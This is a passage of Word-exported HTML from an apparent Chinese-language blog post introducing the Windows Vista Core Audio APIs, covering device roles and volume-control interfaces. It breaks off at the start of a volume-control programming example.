				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，例如</span>
				<span lang="EN-US">Core Audio API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中的</span>
				<span lang="EN-US">Audio streams</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">需要使用一个音频设备的原始数据格式。然而，一些第三方的软件开发人员开发以下的产品时，需要用到这些核心的</span>
				<span lang="EN-US">API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">：</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<span style="mso-tab-count: 1">       </span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">专业的音频应用程序</span>
				<span lang="EN-US">(PRO AUDIO)</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<span style="mso-tab-count: 1">       </span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">实时通信</span>
				<span lang="EN-US">(RTC)</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<span style="mso-tab-count: 1">       </span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">第三方音频</span>
				<span lang="EN-US">API</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">一个</span>
				<span lang="EN-US">PRO AUDIO</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和</span>
				<span lang="EN-US">RTC</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序可能需要直接用底层</span>
				<span lang="EN-US">Core Audio API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">访问音频硬件来达到最小延时的效果。一个第三方的音频</span>
				<span lang="EN-US">API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">需要直接访问</span>
				<span lang="EN-US">Core Audio API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来实现高层的</span>
				<span lang="EN-US">API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">没有提供的功能。</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">Core Audio API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包括：</span>
				<span lang="EN-US">
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo4; tab-stops: list 36.0pt">
				<span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-bidi-font-size: 12.0pt">
						<span style="mso-list: Ignore">
								<font size="3">
										<img height="11" alt="*" src="/shenhuafeng/admin/PicExportError" width="11" />
								</font>
								<span style="FONT: 7pt 'Times New Roman'">       </span>
						</span>
				</span>
				<span lang="EN-US">Multimedia Device (MMDevice) API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">：用这些</span>
				<span lang="EN-US">API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来枚举系统中的音频设备。</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo4; tab-stops: list 36.0pt">
				<span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-bidi-font-size: 12.0pt">
						<span style="mso-list: Ignore">
								<font size="3">
										<img height="11" alt="*" src="/shenhuafeng/admin/PicExportError" width="11" />
								</font>
								<span style="FONT: 7pt 'Times New Roman'">       </span>
						</span>
				</span>
				<span lang="EN-US">Windows Audio Session API (WASAPI)</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">：用这些</span>
				<span lang="EN-US">API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来创建和管理来自音频设备音频流。</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo4; tab-stops: list 36.0pt">
				<span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-bidi-font-size: 12.0pt">
						<span style="mso-list: Ignore">
								<font size="3">
										<img height="11" alt="*" src="/shenhuafeng/admin/PicExportError" width="11" />
								</font>
								<span style="FONT: 7pt 'Times New Roman'">       </span>
						</span>
				</span>
				<span lang="EN-US">DeviceTopology API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">：用这些</span>
				<span lang="EN-US">API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">来直接访问声音适配器中的硬件数据通路的拓扑特性（如音量控制，复用器等）</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 36pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo4; tab-stops: list 36.0pt">
				<span lang="EN-US" style="FONT-SIZE: 10pt; FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-bidi-font-size: 12.0pt">
						<span style="mso-list: Ignore">
								<font size="3">
										<img height="11" alt="*" src="/shenhuafeng/admin/PicExportError" width="11" />
								</font>
								<span style="FONT: 7pt 'Times New Roman'">       </span>
						</span>
				</span>
				<span lang="EN-US">EndpointVolume API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">：用这些</span>
				<span lang="EN-US">API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">直接访问音频设备的声音控制。这些</span>
				<span lang="EN-US">API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">通常是给那些以独占模式管理音频流的应用程序。</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">这些</span>
				<span lang="EN-US">API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">提供对于设备的抽象概念，这些概念被描述成为</span>
				<span lang="EN-US">Audio Endpoint Device</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。每个</span>
				<span lang="EN-US">API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包含很多</span>
				<span lang="EN-US">COM</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">接口。由于音频需要低延时和精确的同步，所</span>
				<span lang="EN-US">MMDevice, WASAPI, DeviceTopology, </span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和</span>
				<span lang="EN-US">EndpointVolume APIs</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">不依赖于</span>
				<span lang="EN-US">.NET</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">框架。</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">除了</span>
				<span lang="EN-US">Vista</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">之外其他的操作系统都不支持</span>
				<span lang="EN-US">Core Audio API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。包括：</span>
				<span lang="EN-US">Microsoft Windows Server 2003, Windows XP, Windows ME, Windows 2000, </span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和</span>
				<span lang="EN-US"> Windows 98</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<o:p> </o:p>
				</span>
		</p>
		<h3 style="MARGIN: 13pt 0cm">
				<font size="5">
						<span lang="EN-US">Vista</span>
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中的音频控制的角色概念：</span>
				</font>
		</h3>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">假如系统中有多个音频设备，那么一个设备可能用户是用来播放电影的，另一个可能是用来玩游戏的。这样</span>
				<span lang="EN-US">Vista</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中就引入了角色的概念。</span>
		</p>
		<table class="MsoNormalTable" style="WIDTH: 100%; mso-cellspacing: 1.5pt; mso-padding-alt: 3.75pt 3.75pt 3.75pt 3.75pt" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes">
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 21.72%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="21%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<b>
														<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: #0000cc; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">ERole</span>
												</b>
												<b>
														<span style="FONT-SIZE: 9.5pt; COLOR: #0000cc; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-font-kerning: 0pt">常量</span>
												</b>
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: #0000cc; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
														<o:p>
														</o:p>
												</span>
										</p>
								</td>
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 26.5%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="26%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<b>
														<span style="FONT-SIZE: 9.5pt; COLOR: #0000cc; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-font-kerning: 0pt">设备角色</span>
												</b>
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: #0000cc; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
														<o:p>
														</o:p>
												</span>
										</p>
								</td>
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 24.54%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="24%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<b>
														<span style="FONT-SIZE: 9.5pt; COLOR: #0000cc; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-font-kerning: 0pt">渲染举例</span>
												</b>
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: #0000cc; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
														<o:p>
														</o:p>
												</span>
										</p>
								</td>
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 25.5%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="25%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<b>
														<span style="FONT-SIZE: 9.5pt; COLOR: #0000cc; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-font-kerning: 0pt">捕获举例</span>
												</b>
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: #0000cc; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
														<o:p>
														</o:p>
												</span>
										</p>
								</td>
						</tr>
						<tr style="mso-yfti-irow: 1">
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 21.72%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="21%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">eConsole<o:p></o:p></span>
										</p>
								</td>
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 26.5%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="26%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<span style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-font-kerning: 0pt">与计算机交互</span>
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
														<o:p>
														</o:p>
												</span>
										</p>
								</td>
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 24.54%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="24%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<span style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-font-kerning: 0pt">游戏和系统的通告声音</span>
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
														<o:p>
														</o:p>
												</span>
										</p>
								</td>
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 25.5%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="25%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<span style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-font-kerning: 0pt">语音命令</span>
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
														<o:p>
														</o:p>
												</span>
										</p>
								</td>
						</tr>
						<tr style="mso-yfti-irow: 2">
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 21.72%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="21%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">eCommunications<o:p></o:p></span>
										</p>
								</td>
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 26.5%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="26%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<span style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-font-kerning: 0pt">与他人的声音交流</span>
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
														<o:p>
														</o:p>
												</span>
										</p>
								</td>
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 24.54%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="24%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<span style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-font-kerning: 0pt">聊天和</span>
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">VOIP<o:p></o:p></span>
										</p>
								</td>
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 25.5%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="25%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<span style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-font-kerning: 0pt">聊天和</span>
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">VOIP<o:p></o:p></span>
										</p>
								</td>
						</tr>
						<tr style="mso-yfti-irow: 3; mso-yfti-lastrow: yes">
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 21.72%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="21%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">eMultimedia<o:p></o:p></span>
										</p>
								</td>
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 26.5%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="26%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<span style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-font-kerning: 0pt">播放或者录制电影和音乐</span>
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
														<o:p>
														</o:p>
												</span>
										</p>
								</td>
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 24.54%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="24%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<span style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-font-kerning: 0pt">电影和音乐</span>
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
														<o:p>
														</o:p>
												</span>
										</p>
								</td>
								<td style="BORDER-RIGHT: #ece9d8; PADDING-RIGHT: 3.75pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 3.75pt; BACKGROUND: #eeeeee; PADDING-BOTTOM: 3.75pt; BORDER-LEFT: #ece9d8; WIDTH: 25.5%; PADDING-TOP: 3.75pt; BORDER-BOTTOM: #ece9d8" valign="top" width="25%">
										<p class="MsoNormal" style="MARGIN: 12pt 0cm; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
												<span style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: 宋体; mso-bidi-font-family: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana; mso-font-kerning: 0pt">实时的声音录制</span>
												<span lang="EN-US" style="FONT-SIZE: 9.5pt; COLOR: black; FONT-FAMILY: Verdana; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">
														<o:p>
														</o:p>
												</span>
										</p>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<o:p> </o:p>
				</span>
		</p>
		<h3 style="MARGIN: 13pt 0cm">
				<font size="5">
						<span lang="EN-US">Vista</span>
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中的音量控制被分成</span>
						<span lang="EN-US">4</span>
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">种级别：</span>
				</font>
		</h3>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">IAudioStream</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">接口提供</span>
				<span lang="EN-US">session</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">每个流的音量控制。</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">methods in the IAudioStreamVolume interface. </span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">IChannelAudioVolume</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">接口提供</span>
				<span lang="EN-US">session</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中每个通道的音量控制。</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">ISimpleAudioVolume</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">接口控制每一个</span>
				<span lang="EN-US">Session</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的主音量。</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">假如需要更改设备的音量大小，则需要操作</span>
				<span lang="EN-US">IAudioEndpointVolume</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">接口。</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<o:p> </o:p>
				</span>
		</p>
		<h3 style="MARGIN: 13pt 0cm">
				<font size="5">
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">开发举例：</span>
						<span lang="EN-US">Vista</span>
						<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中控制系统音量</span>
				</font>
		</h3>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-list: l4 level1 lfo5; tab-stops: list 21.0pt">
				<span lang="EN-US" style="FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">l<span style="FONT: 7pt 'Times New Roman'">         </span></span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">初始化</span>
				<span lang="EN-US">COM</span>
